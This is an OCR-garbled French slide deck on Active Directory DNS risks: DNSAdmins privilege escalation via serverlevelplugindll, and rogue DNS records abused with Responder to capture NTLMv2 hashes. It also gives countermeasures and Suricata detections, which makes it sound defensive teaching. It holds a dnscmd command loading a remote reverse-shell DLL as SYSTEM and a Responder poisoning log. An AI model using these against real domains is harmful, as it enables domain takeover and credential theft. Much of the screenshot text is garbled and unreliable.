Les risques liés a la configuration
DNS et contre-mesures

(environnement Active Directory)
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Le groupe de sécurité DNSAdmins

Autorisations :

* Par défaut, tous les membres du groupe « DNSAdmins » peuvent gérer le service DNS Microsoft,
généralement déployé sur les controleurs de domaine Active Directory. lIs peuvent donc:

* gérer lI'intégralité des enregistrements des zones DNS ayant une portée domaine

 faire redémarrer instantanément ou arréter le service DNS

» faire exécuter du code arbitraire sur un contrdleur de domaine, avec des priviléges « systéme » via

la fonctionnalité « serverlevelplugindll » (selon le niveau de mise a jour du systéme d'exploitation ou la configuration
locale du Service DNS, : Utilisateurs et ordinateurs Active Directory

Fichier Action Affichage 7

e+ am FBIXEc HEI R aETa%

: Utilisateurs et ordinateurs Active|| MNom Type Description
’ J Requétes enregistrées %Admmlstrateurs cl... Groupe de sécurité - Global Les membres de ce groupe peuvent effectuer ...
v b:r.oundnde.\ocal %Admmistrateurs cl.. Groupe de sécurité - Universel Les membres de ce groupe peuvent effectuer ..,
’ J ﬁulltm %Admmimateur; d... Groupe de sécurité - Universel Administrateurs désignés de I'entreprise
; ; DZ::il:zr:ntroHers %Admmlstrateu rsd... Groupe de sécurité - Universel Administrateurs désignés du schéma
5 [ ForeignSecurityPrincipal: %Contr&\eurs dedo.. Groupe de sécurité - Global Tous les contrdleurs de domaine du domaine
5 T Keys %Contrﬂ\eurs dedo... Groupe de sécurité - Global Les membres de ce groupe qui sont des contr...
» [ LostAndFound %Contré\eurs dedo... Groupe de sécurité - Universel Les membres de ce groupe sont des contrdleu...
s 7] Managed Service Accour %Contr&\eurs de do.. Groupe de sécurité - Global Les membres de ce groupe sont des contrdleu..,
» [] Program Data LA DnsAdmins Groupe de sécurité - Demaine local Groupe des administrateurs DNS
5 ] System %DnsUpdateProxy Groupe de sécurité - Global Les clients DNS qui sont autorisés 3 effectuer ...
| Users %Edlteur; de certifi... Groupe de sécurité - Domaine local Les membres de ce groupe ont l'autorisation ..
> @] Utilisateurs %Groupe de réplica... Groupe de sécurité - Domaine local Les mots de passe des membres de ce groupe ..
> ] NTDS Quotas 2 Groupe de réplica... Groupe de sécurité - Domaine local Les mots de passe des membres de ce groupe ...
» [ TPM Devices &Inwté Utilisateur Compte d'utilisateur invité
%Invités du domaine Groupe de sécurité - Global Tous les invités du domaine

© Charles BLANC-ROLIN Version 1.0 - 2025 .8



Le groupe de sécurité DNSAdmins

Contréle avec PingCastle :

* La regle relative a la détection d'utilisateurs appartenant au groupe « DNSAdmins » est
une régle informative du fait de la désactivation par défaut de la fonctionnalité
« serverlevelplugindll » dans le correctif d’octobre 2021 :

|
i g 20240318 About
PRING CasTLE

Number of members of the Dns Admins group: 1 Informative rule

Rule ID:
P-DNSAdmin

Description:
The purpose is to ensure that the Dns Admins group is not used

Technical explanation:

Administrators of the DNS Service have the possibility to inject a DLL in this service.

However this service is hosted most of the time in the domain controller and is running as SYSTEM.
That means that DNS admins are potentially domain admins.

The security descriptor used to grant admin rights is located on the nTSecurityDescriptor attribute of the object CN=MicrosoftDNS,CN=System.
The "Write All Prop” access right induces the vulnerability:

In this case, the DnsAdmins group is not empty and grant to its user the possibility to interact with the DNS Service.

Advised solution:

Rule update:

The Patch Tuesday of October 2021 fixed this vulnerability and assigned it the identifier CVE-2021-40469.
If the patch has been applied, there is no additional mitigation to perform.
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Le groupe de sécurité DNSAdmins

Controle ANSSI et niveau ADS :

* La présence d'un compte utilisateur non privilégié dans le groupe « DNSAdmins » reste
un point critique pour I’ANSSI, ne permettant pas d’atteindre le niveau 2 dans le cadre
d’'un audit ADS, du fait des risques encourus notamment en I'absence du correctif ou
d’'une configuration autorisant I'utilisation de la fonctionnalité « serverlevelplugindll » :

Permissions dangereuses sur le groupe DnsAdmins vuln_dnsadmins

Description de la vulnérabilité
Plusieurs comptes non privilégiés sont membres du groupe DnsAdmins ou possédent des droits dangereux sur celui-ci.
Les membres du groupe DnsAdmins disposent de nombreux droits pour gérer le service DNS Microsoft, qui est généralement hébergé par un contréleur de domaine.

Parmi ces droits, il est possible de gérer I'intégralité des enregistrements des zones DNS ayant une portée domaine, d'employer des fonctionnalités de debug du serveur,
voire non documentées, comme par exemple la possibilité de faire redémarrer instantanément ou d'arréter le service DNS.

Enfin, selon le niveau de mise a jour du systéme d’exploitation de I'intégralité des serveurs DNS en production, ou de la configuration locale du service DNS, il peut
toujours étre possible de faire exécuter du code arbitraire via la fonctionnalité serverlevelplugindll.

Malgré la [4_disponibilité d'un correctif auprés de Microsoft, ces fonctionnalités dangereuses peuvent toujours étre réactivées. |l est donc impossible d*évaluer I'innocuité
du paramétrage uniquement par I'étude de la configuration dans I'Active Directory, tout comme il est impossible de vérifier avec certitude que I'ensemble des serveurs
DNS Microsoft soient a jour.

L'ensemble de ces possibilités donne des capacités de nuisance significatives, voire facilite des attaques réseau, et justifient donc de considérer ce groupe comme étant
privilégie.

Recommandation

Il est recommandé de ne pas utiliser le groupe DNSAdmin. Une délégation doit étre créée pour la gestion du DNS (création/suppression de zones, gestion des
enregistrements, etc.), généralement effectuée a I'aide de |'utilitaire 1dp. Cette délégation peut &tre effectuée en deux étapes.
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o .: Du groupe DNSAdmins au groupe Admins du domaine...

”

Elévation de privileges sur un contréleur de domaine :

* Chaque utilisateur membre du groupe « DNSAdmins » peut controler a distance le service DNS. Si la
fonctionnalité « serverlevelplugindll» est active, il pourra spécifier une DLL a lancer au démarrage
du service DNS. Le service étant démarré avec le compte « systéme », le code contenu dans la DLL
sera donc exécuté avec ces priviléges sur le contréleur de domaine. L'utilisateur membre du groupe
« DNSAdmins » pourra donc s’attribuer les droits d’administrateur du domaine par exemple...

B windows Powershell o - =] %

Windows PowerShell
Copyright (C) Microseft Corporation. Tous droits réservis

Installez la derniére wversion de PowerShell pour de nouvelles fonctionnalités et améliorations ! htt
ps://aka.ms/PSWindows

PS C:\Users\c.blanc-relin\Desktop\dns> .\dnscmd.exe W2819-DC81.woundride.local fconfig /serverlevelp
lugindll \\192.168.42.182\dns\reverse_subits.dll

PS C:\Users\c.blanc-rolin\Desktopidns>
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dnsadmin_to_system


DNSAdmins : Contre-mesures et détection

Contre-mesures :

* Créer des délégations de droits pour la gestion du DNS

* Vider le groupe « DNSAdmins »

* S'assurer que le propriétaire du groupe est Administrateurs du domaine

» Vérifier qu'aucune DLL illégitime n’est lancée au démarrage du service DNS

Détection avec Suricata :
e Administration a distance du service DNS
* Exécution d’'une DLL via le protocole SMB

Timestampw Srcf Dst Signature

2024-03-08 16:27:46 5:192.168.46.2 % - DCERPC - Domain Name Service (DNS) Server Management Protocol - Map Response frem (1] DNSSERVER interface - Possible Remote Privilege Escalation £ - T1068
13 minutes ago D:192.168.42.102

2024-03-08 16:27:46 5:192.168.42.102 = - DCERPC - Domain Name Service (DNS) Server Management Protocal - Map Request te FH] DNSSERVER interface - Possible Remote Privilege Escalation £ -T1068 m
13 minutes ago D:192.168.46.2

2024-03-08 16:24:58 5:192.168.46.2 = - | . SMB - Remote DLL [7] Execution - Possible Hijack Execution Flow - DLL Side-Loading £ - T1574.002 m
22 minutes ago D:192.168.42.102
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Les privileges DNS par défaut

Une configuration trés trop permissive :

* Le service DNS de Microsoft, dans sa configuration par défaut permet a chaque
utilisateur authentifié (ordinateur et utilisateur) de créer des enregistrements DNS pour

le domalne . Propriétés de : woundride.local ? ot
Général Source de noms (SOA) Serveurs de noms
WINS Transferts de zone Securite

Moms de groupes ou d'utilisateurs :

SR Tout le monde A
SR CREATELR PROPRIETAIRE

E SELF
Systeme

SR DnsAdmine (WOUNDRIDEDnsAdming) W
Autorisations pour Utilisateurs authertfigs Autoriser  Refuser
Cortréle total O (.
Lire O O
Ecrire D D
| Créer tous les objets enfants I ]
Supprimer tous les objets enfants L] Il o
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O
O Le vol de mots de passe continue...
000

Cette configuration DNS par défaut peut étre abusée par les attaquants :

* Vous avez désactive les protocoles LLMNR, NetBios et mDNS pour éviter le vol
de mots de passe via Responder

[*] [LLMNR] Poisoned answer sent to 192.168.42.103 for name toto
NTLMwy lient
NTLMw Sern
NTLMv2-55

* Un attaquant pourra créer un enregistrement DNS renvoyant vers sa machine
équipée de Responder
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Le vol de mots de passe continue...

Création d'un enregistrement via le protocole DNS :

* Tout utilisateur peut créer directement via le protocole DNS un enregistrement
pointant vers une machine exécutant Responder, et, par conséquent dérober, sans
interaction avec l'utilisateur, son identifiant et le condensat de son mot de passe au

2. Gestionnaire DNS

format NEt-NTLMVZ Fichier Action Affichage ?
i BE

PRIXE = HB

Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless QOutils Aide

r | ® B R Q&L RAEEFE = o E

Nom Type Données

.-] _msdcs

j _sites

Ctep

] udp

j DomainDnsZones
j ForestDnsZones
ﬂ (identique au dossier parent)
[l identique au dossier parent)
- < = - alch

nes de recherche directes

® _msdcs.woundride.local

| woundride.local
_msdcs

| _sites

tep

y _udp

. DomainDnsZones

| ForestDnsZones

| Zones de recherche inversée

llAnp:-,f a display filter ... <Ctrl-/
Protocol Length Info
217 Dynamic update

Destination
192.168.46.2 DNS

No. Time Source
1 0.000000 192.168.42.102

Source de nom (SOA) [100], w2019-dc01.woundr...
Serveur de noms (NS) w2019-dc01.woundride.lo...

= Exécuter

192.168.42.100

Entrez le nom Hote (A
Héte (A)

=  ressource Inte|

Quvrir: | \\charles\

~ Zone
» woundride.local: type SOA, class IN

~ Update.
~|charles.woundride.local: type A, class IN, addr 192.168.42.100

Name: Char Les.wounarlge. Local

Type: A (Host Address) (1)
Class: IN (0x8001)
Time to live: 60@ (10 minutes)

Data length: 4
Address: 192.168.42.100
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Création d'un enregistrement de type « wildcard » ! :

* Le protocole DNS ne permet pas de créer un enregistrement de type « wildcard »... Mais
le protocole LDAP oui !

E 8U QO55IEr parent) MoteE LA) 1'9L. 1 05.50.£

Héte (A) 192.168.42.100

TOVT TEOF A7 T

€z le nom d'un programme, dossier, document ou
ressource Internet, et Windows I'ouvrira pour vous.

[ \\123456789abecdefgh)|

0K | Annuler Parcourir...
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Fichier Machine Ecran Entrée Périphériques Aide

¥

Geiesilix Corbeille

7]

[ovismnisbini.
EX Administrateur : Windows PowerShell — 1] X

Gestion des
stratégies

ordinateurs Acti.

- CB8 g e efus 18'03111027;[3
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Action  Affichage 7

9-DC01
Zones de recherche directes
_msdcs.woundride.local
v .| woundridelocal
_msdcs Lf
_Sites
tep
_udp
DomainDnsZones
ForestDnsZones
Zones de recherche inversée
Points d'approbation
Redirecteurs conditionnels

i )

)

IbomainDnsZones
lForestDnsZones

[l identique au dossier parent)
[-luden(\que au dossier parent)
[l identique au dossier parent)
Elrcoo

Elecon

Erce

Erco

Flrco

Flecos

Hecor

Flecos

Elrcos

Flecio

Flrcw

[Flwa019-dco1

<

Source de nom (SOA)
Serveur de noms (NS)

Héte (4)
Hate (4)
Hote (4)
Hote (A)
Hate (4)
Hate (4)
Hate (4)
Hate (A4)
Hate (4)
Héte (4)
Hate (4)
Hate (A)
Héte (4)

Données

[95], w2013-dc01.woundi.
w2013-de01.woundride.lo.
192.168.462
192.168.42.103
192.168.42.103
192.16842.104
192.168.42.103
192.168.42.105
192.168.42.106
192.168.42.103
192.168.42.104
192.168.42.105
192.168.42.102
192.168.42.103
192.168.46.2
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dns_record_to_ntlm


Contre-mesures :

* Retirer les droits de création d’enregistrements DNS au groupe

* Créer des enregistrements « bloquants » pour wpad (si hon utilisé)

« Utilisateurs authentifiés »

Ces droits devront étre attribués aux comptes d’'ordinateurs via le
groupe « Ordinateurs du domaine » par exemple pour la mise a
jour des enregistrements DNS liée aux possibles modifications
IP des machines lors des renouvellements de baux

d’adresses

DHCP ou de changements de réseaux

et wildcard (*)

Désactiver WPAD si non utilisé

Configuration utilisateur (activée)

Propriétés de: woundride.local ? X

Géneral Source de noms (SOA)
WINS Transferts de zone

Serveurs de noms
Sécurité

Noms de groupes ou d'utilisateurs :

i Admlns du domaine OUNDHIDE\Mmlns du domaine ~

5, Admlnlstrateurs de I' entrepnse {WOUN n} HID E\Mmlnlstrateurs de |'entreprise)
SR Administrateurs (WOUNDRIDE \Administrateurs)
SR Accés compatible pré-Windows 2000 (WOUNDRIDE \Accés compatible pré-Wind...

ER ENTERPRISE DOMAIN CONTROLLERS ]
Ajouter... Supprimer
Autorigations pour Ordinateurs du domaine Autoriser Refuser

Contréle total O .

Lire O O

Ecrire ]

|Créertou5 les objets enfants | O
Supprimer tous les objets enfants L O v
Bl Héte (A) 0.0.0.0
Elwpad Héte (A) 0.0.0.0

Modéles d"administratis

Défintions de stratégies fichiers ADMX) récupérées & partir de |'ordinateur local.

Composants Windows./Intemnet Explorer

Stratégie

Désactiver la mise en cache des scripts de proxy automatiques
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Configuration DNS par défaut : détection

Détection avec Suricata :

* Ajout d'un enregistrement via le protocole DNS

* Acceptation d’'un enregistrement DNS de la part du serveur via le protocole LDAP
* Réponse au challenge NTLM SSP de la part de Responder

Timestampw Src/Dst Signature

2024-03-1817:23:02 S5:192.168.46.2  *; - /.| LDAP - SASL GSS-API Privacy accepted DNS record from Windows DNS Server [1] Possible DNS Server Compromised @ - T1584.002 - Check if legitimate client request
2 minutes ago D:192.168.42.102

2024-03-1817:22:58 5:192.168.42.100 *- - _ SMB - Suspicious session setup response for NTLMSSP_CHALLENGE [ Possible Responder NTLMv2 response for & Active Directory credentials capturing § - T1040 m
2 minusl ago D:192.168.42.102

2024-03-1817:21:13 S:192.168.42.102 % - /. DNS - Suspicious Dynamic update - remote record creation to Windows DNS Server [1] - Possible DNS Server Compromised @ - T1584.002- Check if legitimate client request
3 minutes ago D:192.168.46.2 (3
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Vulnérabilité DNS CVE-2021-40469 (Microsoft) :
https.//msrc.microsoft.com/update-guide/vulnerability/CVE-202

1-40469

Régles Ping Castle (Vincent LE TOUX) :

https://www.pingcastle.com/PingCastleFiles/ad hc rules list.ht

mli

Permissions dangereuses sur le groupe DNSAdmins (ANSSI) :
https://www.cert.ssi.gouv.fr/uploads/ad_checklist.html#vuln_d

nsadmins

Powermad (Kevin Robertson) :

https://github.com/Kevin-Robertson/Powermad

Metasploit (Rapid7) :
https://www.metasploit.com/

Responder (Laurent GAFFIE) :
https://github.com/Igandx/Responder

Hashcat :
https://hashcat.net/

Suricata (OISF) :
https://suricata.io/

Clear NDR Community [anciennement SELKS] (Stamus
Networks) :
https://www.stamus-networks.com/clear-ndr-community

EveBox (Jason Ish) :
https://evebox.org/

PawPatrules (Charles BLANC-ROLIN) :
https://pawpatrules.fr/
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